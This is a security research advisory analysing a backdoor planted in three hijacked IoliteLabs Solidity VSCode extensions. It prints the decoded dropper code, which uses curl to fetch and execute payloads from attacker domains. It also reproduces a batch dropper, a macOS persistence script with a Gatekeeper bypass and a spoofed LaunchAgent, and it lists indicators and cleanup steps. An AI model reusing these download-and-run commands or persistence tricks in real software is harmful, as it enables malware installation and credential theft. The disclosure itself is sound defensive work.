






















StepSecurity research has analyzed a critical supply chain attack targeting blockchain and smart contract developers. Three VSCode extensions published by IoliteLabs - solidity-macos, solidity-windows, and solidity-linux - were simultaneously updated to version 0.1.8 on March 25, 2026, each containing an identical multi-stage backdoor. All three had been dormant since 2018. Combined, they had approximately 27,500 installs across the developer community. On every VSCode startup, the extensions silently download and execute platform-specific payloads from three attacker-controlled domains. On Windows, a hook-based DLL is installed disguised as a Chrome updater. On macOS, two separate native binaries (one for Intel, one for Apple Silicon) are deployed with full login persistence and Gatekeeper bypass. The malicious code is hidden not in the extension entry point, but inside a tampered copy of a legitimate npm dependency (pako), using five distinct obfuscation techniques to evade static analysis. Despite the extension names suggesting platform specificity, the runtime payload targets Windows and macOS only; Linux is not handled by the current dropper code.
The IoliteLabs publisher account on the VS Code Marketplace hosts three Solidity language support extensions - solidity-macos, solidity-windows, and solidity-linux - first published in July 2018 for the Iolite ecosystem, an Ethereum-compatible blockchain platform. None of the three had been updated in nearly eight years. On March 25, 2026, all three were simultaneously updated to version 0.1.8 on the Marketplace. The solidity-macos VSIX dropped from 35-40 MB to 2 MB. All three had their Solidity language server gutted and replaced with five stub commands, leaving only enough UI surface to appear functional while delivering a multi-stage backdoor silently in the background.
iolitelabs.solidity-macos - 6,995 installs (Marketplace)iolitelabs.solidity-windows - 11,511 installs (Marketplace)iolitelabs.solidity-linux - 8,078 installs (Marketplace)With eight years of published history and a combined install count of roughly 27,500, the extensions presented credible trust signals to developers checking install counts or publication dates.
The single VSIX package serves all platforms. Platform-specific behavior is determined at runtime via process.platform checks in the dropper code: Windows (win32) and macOS (darwin) each receive separate payloads. Linux is not targeted by the current dropper - the code contains no handler for linux and no catch-all else branch, meaning VSCode on Linux loads the tampered pako library but no malicious subprocess is spawned.
StepSecurity's analysis of this attack chain covers all three stages, including two C2 domains and a Windows installer component not documented in the original disclosure.

The eight-year gap between v0.1.2 (September 2018) and v0.1.8 (March 2026) is itself an indicator. The attacker did not create a new publisher or clone the extension name - they gained control of the original IoliteLabs publisher account on the VS Code Marketplace, preserving all historical install counts and reviews.
A critical observation: the GitHub repository for this extension shows no new commits corresponding to v0.1.8. The source repository at github.com/iolitelabs/vscode-solidity-iolite has not been updated - its most recent commits date to 2018. Version 0.1.8 was published directly to the VS Code Marketplace without any corresponding source code change, making it impossible for users to inspect or diff the changes through the public repository. This is a strong signal of account compromise rather than a legitimate update from the original authors.
This technique - compromising a dormant but established publisher account - is increasingly common in supply chain attacks because it inherits the trust capital built by the original author. A new extension with zero history triggers more scrutiny; a republished extension from a known publisher does not.
The extension's declared entry point, extension/out/extension.js (4 KB), contains five stub command registrations and a call to pako.deflate(). The malicious code is not in this file.
The payload is injected into the bundled copy of the pako compression library at extension/node_modules/pako/index.js. The legitimate pako@1.0.11 index.js (SHA-256: e7ec4e35...) is 17 lines. The tampered version (SHA-256: fcd398ab...) inserts a single dense line of code at line 10, between the require() statements and the module export:
Tampered file (line 10 - one single injected line, formatted here for readability):
var _0xd35d=(965581^965578)+(724804^724800);
const cp=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073");
_0xd35d=176481^176486;
if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="\u0077\u0069\u006E\u0033\u0032"){
cp['\u0065\u0078\u0065\u0063'](
"\u0063\u0075\u0072\u006C ...(Windows payload)...",
{'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],'\u0073\u0074\u0064\u0069\u006F':'ignore'}
)['\u0075\u006E\u0072\u0065\u0066']();
}else if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="niwrad".split("").reverse().join("")){
cp['\u0065\u0078\u0065\u0063'](
"\u0063\u0075\u0072\u006C ...(macOS payload)...",
{'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065"}
)['\u0075\u006E\u0072\u0065\u0066']();
}
Fully decoded:
// Junk XOR arithmetic - pure visual noise
var _0xd35d = (965581 ^ 965578) + (724804 ^ 724800); // = 7 (meaningless)
const cp = require("child_process"); // all strings Unicode-escaped
_0xd35d = 176481 ^ 176486; // = 7 again (more junk)
if (process.platform === "win32") {
cp.exec(
'curl -k -L -Ss "https://rraghh.com/gt/calc.bat" -o "%TEMP%\\1.bat" && start /b "" "%TEMP%\\1.bat"',
{ detached: true, stdio: 'ignore' }
).unref();
} else if (process.platform === "darwin") { // "darwin" encoded as "niwrad".reverse()
cp.exec(
'curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash',
{ detached: true, stdio: "ignore" }
).unref();
}The attacker used five distinct techniques to defeat static analysis:
\uXXXX hex codes (e.g. "\u0063\u0068\u0069\u006C\u0064..." = "child_process"). Defeats string-based grep and YARA rules.cp['exec'] and process['platform'] instead of dot notation. Defeats property access scanners.(965581^965578)+(724804^724800) = 7 scattered through the code. Defeats code flow analysis tools."darwin" written as "niwrad".split("").reverse().join(""). Defeats literal string matching on "darwin".pako/index.js rather than the declared entry point extension.js. Defeats reviewers who only inspect the extension entry point.SHA-256 comparison against the legitimate pako npm package confirms the tampering:
pako@1.0.11 index.js: e7ec4e35d94d01a2e4ee5dca62b8fb08ac7411596edb54b398651f4eb563561dpako/index.js in v0.1.8: fcd398abc51fd16e8bc93ef8d88a23d7dec28081b6dfce4b933020322a610508
The package.json activation events include "onStartupFinished" - meaning this code runs on every VSCode launch, not just when a Solidity file is opened. A developer who installed this extension for occasional Solidity work would still be compromised every time they open VSCode for any purpose.
"activationEvents": [
"onLanguage:solidity",
"onCommand:solidity.compile.current",
"onCommand:solidity.compile.all",
"onCommand:solidity.codegen",
"onStartupFinished" ← fires every time VSCode starts
]

calc.bat - String-Split ObfuscationThe batch file downloaded from rraghh.com/gt/calc.bat uses a technique rarely seen in VSCode extension supply chain attacks: environment variable string concatenation to reconstruct all URLs and commands at runtime. No complete URL or command appears as a literal string in the file.
@echo off
set "varPROT=http" :: "http"
set "varCNO=s://" :: "s://"
set "varGF=oortt" :: "oortt"
set "varCLA=.c" :: ".c"
set "varLOL=om/" :: "om/"
set "varsMM=Smoke." :: "Smoke."
set "varCr=cu" :: "cu" → "curl"
set "varECH=si" :: "si"
set "varMLRA=sie" :: "sie" → "msiexec"
set "varNLO=q" :: "q" → "/qn" flag
:: Reconstructed at runtime:
:: varCOMP = https://oortt.com/gt ← SECOND C2 DOMAIN
set "varCOMP=%varPROT%%varCNO%%varGF%%varCLA%%varLOL%gt"
:: Download MSI disguised as Chrome updater
%varCr%rl -o %USERPROFILE%\Documents\7WhiteSmoke.msi %varCOMP%/7WhiteSmoke.msi
:: Silent install: msiexec /i ... /qn
m%varMLRA%xec /i %USERPROFILE%\Documents\7WhiteSmoke.msi /%varNLO%nThis reveals a second C2 domain - oortt.com - not present in the pako dropper. The MSI is downloaded from a completely separate infrastructure, adding a layer of operational security for the attacker. If rraghh.com is taken down, the MSI C2 (oortt.com) may remain available for other delivery vectors.
7WhiteSmoke.msi - Chrome ImpersonationAn MSI file is an OLE2 Compound Document (structured storage format). The 7WhiteSmoke.msi was analyzed using Python's olefile library to enumerate and read the internal OLE2 streams. The SummaryInformation stream yielded the installer metadata. The largest stream (1.36 MB) began with the MSCF magic bytes (4D 53 43 46), confirming it was a Cabinet archive. The cabinet was extracted using cabarchive, revealing a single file named ntuser. That file was then analyzed with the file command (confirming PE32 DLL) and strings (confirming the export table entries). The MSI install sequence table, read from another OLE2 stream, contained the regsvr32 /s /i "[#ntuser]" command and the install path [AppDataFolder][Manufacturer]\[ProductName], which resolves to %APPDATA%\Chrome\ChromeUpdate\.
The MSI installer (3 MB, SHA256: e903ae267bf7ed1d02b218c1dc7cf6d87257e87de9fbda411a13f9154716bfa3) presents itself convincingly as a Chrome browser updater:
MSI Subject: ChromeUpdate
MSI Author: Chrome
MSI Comments: This installer database contains the logic and data
required to install ChromeUpdate.
MSI GUID: {1FB52CB3-122B-4DDB-8F8A-C2449F95A1B3}
Created: 2026-03-22This is a deliberate social engineering layer. Windows users who notice a new entry in their Programs and Features list would see "ChromeUpdate" from publisher "Chrome" - a name indistinguishable from legitimate Chrome update infrastructure to a casual observer.
ntuser DLLThe cabinet archive inside the MSI contains a single file: ntuser. The name is chosen deliberately - in Windows, ntuser.dat is the user's registry hive, making ntuser visually plausible in a directory listing.
File: ntuser (no extension)
Type: PE32 DLL (x86, stripped of symbols)
Size: 1.33 MB
SHA-256: 5f9c09c2c432a6b94f2200455065bcfd1237f8a01b913a7c9e37f164ff99a84c
Packer: Custom packer (all internal strings randomized)The MSI install sequence:
ntuser to %APPDATA%\Chrome\ChromeUpdate\ntuserregsvr32 /s /i "[#ntuser]" - a LOLbin execution techniqueHKLM\Software\Chrome\ChromeUpdateregsvr32 with the /i flag calls the DLL's DllInstall export with an optional argument string, then calls DllRegisterServer. This is a well-known Living-off-the-Land (LOLbin) technique that executes a DLL without spawning cmd.exe or powershell.exe, evading many EDR behavioral rules that monitor for those processes.
Despite heavy obfuscation of all internal strings, the strings tool recovers two named exports from the DLL's export table:
SetDesktopMonitorHook
ClearDesktopMonitorHook
DllRegisterServerThe DllRegisterServer export is standard for COM self-registration (called by regsvr32). The SetDesktopMonitorHook and ClearDesktopMonitorHook names are consistent with a DLL that installs and removes a Windows desktop-level hook via the SetWindowsHookEx API. A desktop-level hook can intercept input events - keyboard, mouse, or clipboard - across all processes running under the same desktop session, without needing to inject into each target process individually. The actual behavior of the DLL cannot be confirmed from export names alone given the heavy internal obfuscation, but the naming convention is strongly associated with input-monitoring and credential-harvesting DLLs.
doc.sh - Three-Phase Persistence EngineThe macOS shell script is significantly more sophisticated than the Windows batch file. It operates in three phases designed to achieve both immediate execution and durable login persistence:
mkdir -p ~/.local/bin
cat > ~/.local/bin/.system_updater << 'EOF'
#!/bin/bash
mkdir -p ~/.local/bin && \
curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater && \
chmod +x ~/.local/bin/updater && \
xattr -d com.apple.quarantine ~/.local/bin/updater 2>/dev/null || true && \
xattr -c ~/.local/bin/updater 2>/dev/null || true && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc 2>/dev/null && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bash_profile 2>/dev/null && \
~/.local/bin/updater
EOF
chmod +x ~/.local/bin/.system_updaterThe script name begins with a dot (.system_updater), making it hidden from ls without the -a flag - a classic Unix hiding technique. The script itself will re-download and re-execute the stage-2 binary every time it runs, ensuring updates can be pushed to compromised machines.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist ...>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.system.updater</string> <!-- impersonates Apple system service -->
<key>ProgramArguments</key>
<array>
<string>/Users/${CURRENT_USER}/.local/bin/.system_updater</string>
</array>
<key>RunAtLoad</key>
<true/> <!-- runs on every login -->
<key>KeepAlive</key>
<false/>
<key>StandardErrorPath</key>
<string>/tmp/system_updater.log</string>
<key>StandardOutPath</key>
<string>/tmp/system_updater.log</string>
</dict>
</plist>
Installed at: ~/Library/LaunchAgents/com.apple.system.updater.plist
The Label com.apple.system.updater deliberately mimics the reverse-DNS naming of legitimate Apple system services. Legitimate Apple LaunchAgents use labels like com.apple.security.syspolicyd and com.apple.systempreferences. A developer inspecting their LaunchAgents directory with launchctl list would see this label and plausibly assume it belongs to macOS.
The LaunchAgent is immediately loaded with launchctl load, taking effect without requiring a reboot.
# Intel Mac binary
curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater
chmod +x ~/.local/bin/updater
xattr -d com.apple.quarantine ~/.local/bin/updater 2>/dev/null || true
xattr -c ~/.local/bin/updater 2>/dev/null || true
~/.local/bin/updater
# Apple Silicon binary (separate payload)
curl -sL https://cdn.rraghh.com/gt/doc1 -o ~/.local/bin/apple
chmod +x ~/.local/bin/apple
xattr -d com.apple.quarantine ~/.local/bin/apple 2>/dev/null || true
xattr -c ~/.local/bin/apple 2>/dev/null || true
~/.local/bin/appleThe Gatekeeper bypass is critical. macOS assigns a com.apple.quarantine extended attribute to files downloaded from the internet, which causes Gatekeeper to block execution and show the "Apple cannot check this app for malicious software" dialog. By stripping this attribute before executing, the attacker silently bypasses this protection. The xattr -c call (clear all attributes) is used as a fallback in case xattr -d fails. Both commands have 2>/dev/null || true to suppress any errors silently.
A significant finding from StepSecurity's analysis is that the attacker maintains two separate macOS payloads - one for Intel Macs and one for Apple Silicon:

Both binaries are pkg-packaged Node.js executables - a format produced by Vercel's pkg tool that bundles a complete Node.js runtime with the application code into a single self-contained binary. The PKG_DUMMY_ENTRYPOINT and PAYLOAD_POSITION/PAYLOAD_SIZE markers confirm this format.
The Intel binary's 57.8 MB size versus the Apple Silicon binary's 7.9 MB is notable. The arm64 binary is substantially smaller, possibly because it uses a more recent and efficient pkg baseline, or because it targets a narrower set of system capabilities.
The embedded virtual filesystem in both binaries contains modules that paint a clear picture of their purpose: archiver (creating ZIP/TAR archives), form-data (multipart HTTP uploads), combined-stream (streaming file reads), and graceful-fs (reliable filesystem operations). This is the exact dependency profile of an exfiltration tool that recursively scans directories, archives findings, and uploads them via multipart HTTP POST.

DomainRolePayloads Servedrraghh.comStage-1 Windows droppercalc.batcdn.rraghh.comStage-1 macOS dropper + stage-2 binariesdoc.sh, doc (x86_64), doc1 (arm64)oortt.comStage-2 Windows MSI delivery7WhiteSmoke.msi
The use of three separate domains provides operational resilience. Takedown of the extension's initial dropper domains (rraghh.com) does not affect the Chrome-impersonation MSI delivery (oortt.com), and vice versa.
This attack specifically targets the Solidity/Ethereum developer community, and the targeting is not accidental. Solidity developers routinely handle:
.json keystores or exported as hex strings on development machinesA single private key theft from a developer deploying to mainnet could yield six- or seven-figure losses. The exfiltration tooling present in the macOS stage-2 binaries (archiver, form-data, graceful-fs) is consistent with a tool designed to sweep for exactly these artifacts.
mindmap
root((Obfuscation\nTechniques))
pako/index.js
Unicode escaping
child_process → \u0063\u0068...
exec → \u0065\u0078\u0065\u0063
darwin → \u0064\u0061\u0072\u0077...
String reversal
"niwrad".reverse() → "darwin"
Bracket notation
cp['exec'] not cp.exec
process['platform']
XOR junk variables
965581^965578 = 3
724804^724800 = 4
Detached execution
detached true + unref
calc.bat
Variable concatenation
varCOMP = PROT+CNO+GF+CLA+LOL
"curl" split as cu + rl
"msiexec" split as m+sie+xec
Obfuscated URL
oortt.com hidden in parts
Echo noise
Junk echo statements
Smoke. refers to local pointer
doc.sh
Hidden filename
.system_updater dot prefix
Label spoofing
com.apple.system.updater
Gatekeeper bypass
xattr -d quarantine
xattr -c all attributes
7WhiteSmoke.msi
Chrome impersonation
Subject ChromeUpdate
Author Chrome
ntuser naming
Mimics ntuser.dat
LOLbin
regsvr32 /s /ipako bundled with tampered payload (malicious)fcd398... tampered hash (malicious)The v0.1.8 extension is a hollow shell. Every command registered - compile, deploy, get balance - does nothing except display a showInformationMessage() popup. Its sole operational purpose is to load pako and execute the backdoor payload.
All three extensions were updated to version 0.1.8 on March 25, 2026.
iolitelabs.solidity-macos - 6,995 installs. VSIX SHA-256: e0f206aac2c3fa733b0c466d2ebb86ba038cf1fe2edeee21e94a4d943a27f63biolitelabs.solidity-windows - 11,511 installs. VSIX SHA-256: not yet analyzed.iolitelabs.solidity-linux - 8,078 installs. VSIX SHA-256: not yet analyzed.0.1.8 (all three extensions)pako/index.js SHA-256: fcd398abc51fd16e8bc93ef8d88a23d7dec28081b6dfce4b933020322a610508pako@1.0.11 SHA-256: e7ec4e35d94d01a2e4ee5dca62b8fb08ac7411596edb54b398651f4eb563561drraghh.com - Stage-1 C2 (Windows)cdn.rraghh.com - Stage-1 C2 (macOS) and stage-2 Mac binariesoortt.com - Stage-2 C2 (Windows MSI)calc.bat (Windows batch dropper): 40a6bbc8260bc17faa583dd3c3954a0e3c4b0abb923baaecd2ad7901311d5d82doc.sh (macOS shell dropper): 5886a9b659c05fb3e3077c80bb6a8be6acb1064683db542fae90e3bf9757f95f7WhiteSmoke.msi (Windows): e903ae267bf7ed1d02b218c1dc7cf6d87257e87de9fbda411a13f9154716bfa3ntuser (Windows DLL extracted from MSI): 5f9c09c2c432a6b94f2200455065bcfd1237f8a01b913a7c9e37f164ff99a84cdoc (macOS x86_64 Intel binary): 38cb0e1209a721a565e71f9dc0593437723dc32c4d2fe2d23de141f4d306cceadoc1 (macOS arm64 Apple Silicon binary): 8e7213940a2f590af145226d22a96d416bcca4bc6cba3400a8a96fd3e7018080~/.local/bin/.system_updater - Hidden persistence launcher script (dot-prefixed, hidden from ls)~/.local/bin/updater - Stage-2 Intel Mac binary~/.local/bin/apple - Stage-2 Apple Silicon binary~/Library/LaunchAgents/com.apple.system.updater.plist - Login persistence LaunchAgent~/.zshrc - Modified: $HOME/.local/bin prepended to $PATH~/.bash_profile - Modified: $HOME/.local/bin prepended to $PATH%TEMP%\1.bat - Downloaded batch dropper%USERPROFILE%\Documents\7WhiteSmoke.msi - Downloaded MSI installer%APPDATA%\Chrome\ChromeUpdate\ntuser - Installed hook DLLHKLM\Software\Chrome\ChromeUpdate - Persistence registry keyregsvr32.exe spawned with /i flag - LOLbin DLL executionrraghh.com - Windows stage-1 payload retrievalcdn.rraghh.com - macOS stage-1 payload retrievaloortt.com - Windows stage-2 MSI retrieval/tmp/system_updater.log - macOS LaunchAgent log output (indicates execution occurred)In VS Code:
Extensions panel → search "solidity-macos" → UninstallOr via command line:
code --uninstall-extension iolitelabs.solidity-macos# Stop and remove the LaunchAgent
launchctl unload ~/Library/LaunchAgents/com.apple.system.updater.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.apple.system.updater.plist
# Remove hidden launcher and stage-2 binaries
rm -f ~/.local/bin/.system_updater
rm -f ~/.local/bin/updater
rm -f ~/.local/bin/apple
# Remove PATH modifications - edit these files manually to remove
# the line: export PATH="$HOME/.local/bin:$PATH"
grep -n "local/bin" ~/.zshrc ~/.bash_profile
# Check for log file indicating execution
cat /tmp/system_updater.log# Check for the installed DLL
Test-Path "$env:APPDATA\Chrome\ChromeUpdate\ntuser"
# Remove the ChromeUpdate directory
Remove-Item -Recurse -Force "$env:APPDATA\Chrome\ChromeUpdate" -ErrorAction SilentlyContinue
# Remove registry persistence
Remove-Item -Path "HKLM:\Software\Chrome\ChromeUpdate" -Recurse -ErrorAction SilentlyContinue
# Remove downloaded files
Remove-Item -Force "$env:TEMP\1.bat" -ErrorAction SilentlyContinue
Remove-Item -Force "$env:USERPROFILE\Documents\7WhiteSmoke.msi" -ErrorAction SilentlyContinueAssume any of the following were stolen if the extension ran at any point since installation:
~/.ssh/id_*).env files containing API keys, RPC endpoints, or wallet mnemonics~/.aws/credentials)Check DNS or firewall logs for queries to:
rraghh.comcdn.rraghh.comoortt.comAny hit on these domains confirms execution occurred.
Dev Machine Guard is a free, open-source tool that scans your developer machine for security risks including malicious IDE extensions, compromised npm packages, and suspicious tool configurations. It is a lightweight bash script with zero dependencies that runs entirely locally - no data is sent anywhere in the community edition.
To check if you have the malicious extension installed:
# Install and run Dev Machine Guard (with checksum verification)
curl -sSL https://github.com/step-security/dev-machine-guard/releases/download/v1.8.2/stepsecurity-dev-machine-guard.sh -o stepsecurity-dev-machine-guard.sh
echo "37516a0a420b21ef3b68129f8d089be706974a597a821ec83e598cd180716f60 stepsecurity-dev-machine-guard.sh" | shasum -a 256 --check --status
if [ $? -eq 0 ]; then
bash stepsecurity-dev-machine-guard.sh
else
echo "Checksum verification failed! The file may have been tampered with."
rm -f stepsecurity-dev-machine-guard.sh
exit 1
fi
Dev Machine Guard will detect:
iolitelabs.solidity-macos in your VSCode extensions~/.local/bin/.system_updater, ~/.local/bin/updater, and ~/.local/bin/applecom.apple.system.updater.plist~/.zshrc and ~/.bash_profileFor organizations with multiple developers, StepSecurity's enterprise dashboard provides centralized visibility across your entire development team. The dashboard will surface all users who have the compromised iolitelabs.solidity-macos extension installed, allowing security teams to immediately identify and respond to at-risk machines without requiring each developer to run manual checks.
The enterprise solution includes:


This extension had an eight-year publication history and ~7,000 installs - both signals typically associated with legitimacy. The attacker specifically chose a dormant, established extension to inherit this trust capital. Age and install count are not reliable security indicators for VSCode extensions.
The malicious code was in node_modules/pako/index.js - not in extension.js. Any security review that examines only the extension's declared entry point would miss this entirely. For VSCode extensions that bundle node_modules, every file in that directory should be treated as part of the attack surface.
onStartupFinished Is a Red FlagThe activation event onStartupFinished in a Solidity extension serves no legitimate purpose - Solidity tooling should activate on onLanguage:solidity. Finding this event in a language extension means the extension author wants code to run on every VSCode startup, regardless of what language or project is open.
The xattr -d com.apple.quarantine technique is a documented bypass, but its use here in an automated, user-invisible script highlights that Gatekeeper is not a sufficient control against post-download execution. Users should not assume that macOS will block malicious downloads.
The VS Code Marketplace - like npm, PyPI, and other package registries - does not currently revoke publishing tokens after periods of inactivity, require re-authentication for major version changes, or alert subscribers when a dormant publisher suddenly becomes active. These are gaps that marketplace operators should address.
The iolitelabs.solidity-macos supply chain attack combines five obfuscation techniques, a dormant publisher account hijack, three separate C2 domains, platform-specific payload delivery (including Apple Silicon vs. Intel differentiation), a Windows keylogger delivered via Chrome impersonation MSI, and macOS login persistence via a spoofed Apple LaunchAgent - all activated silently on every VSCode launch.
The primary targets - Solidity and Ethereum developers - are among the highest-value individuals for credential theft due to their routine access to wallets, private keys, and deployment credentials with direct financial value.
If you have had iolitelabs.solidity-macos installed at any time after March 25, 2026, treat your development machine as fully compromised and rotate all credentials immediately.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。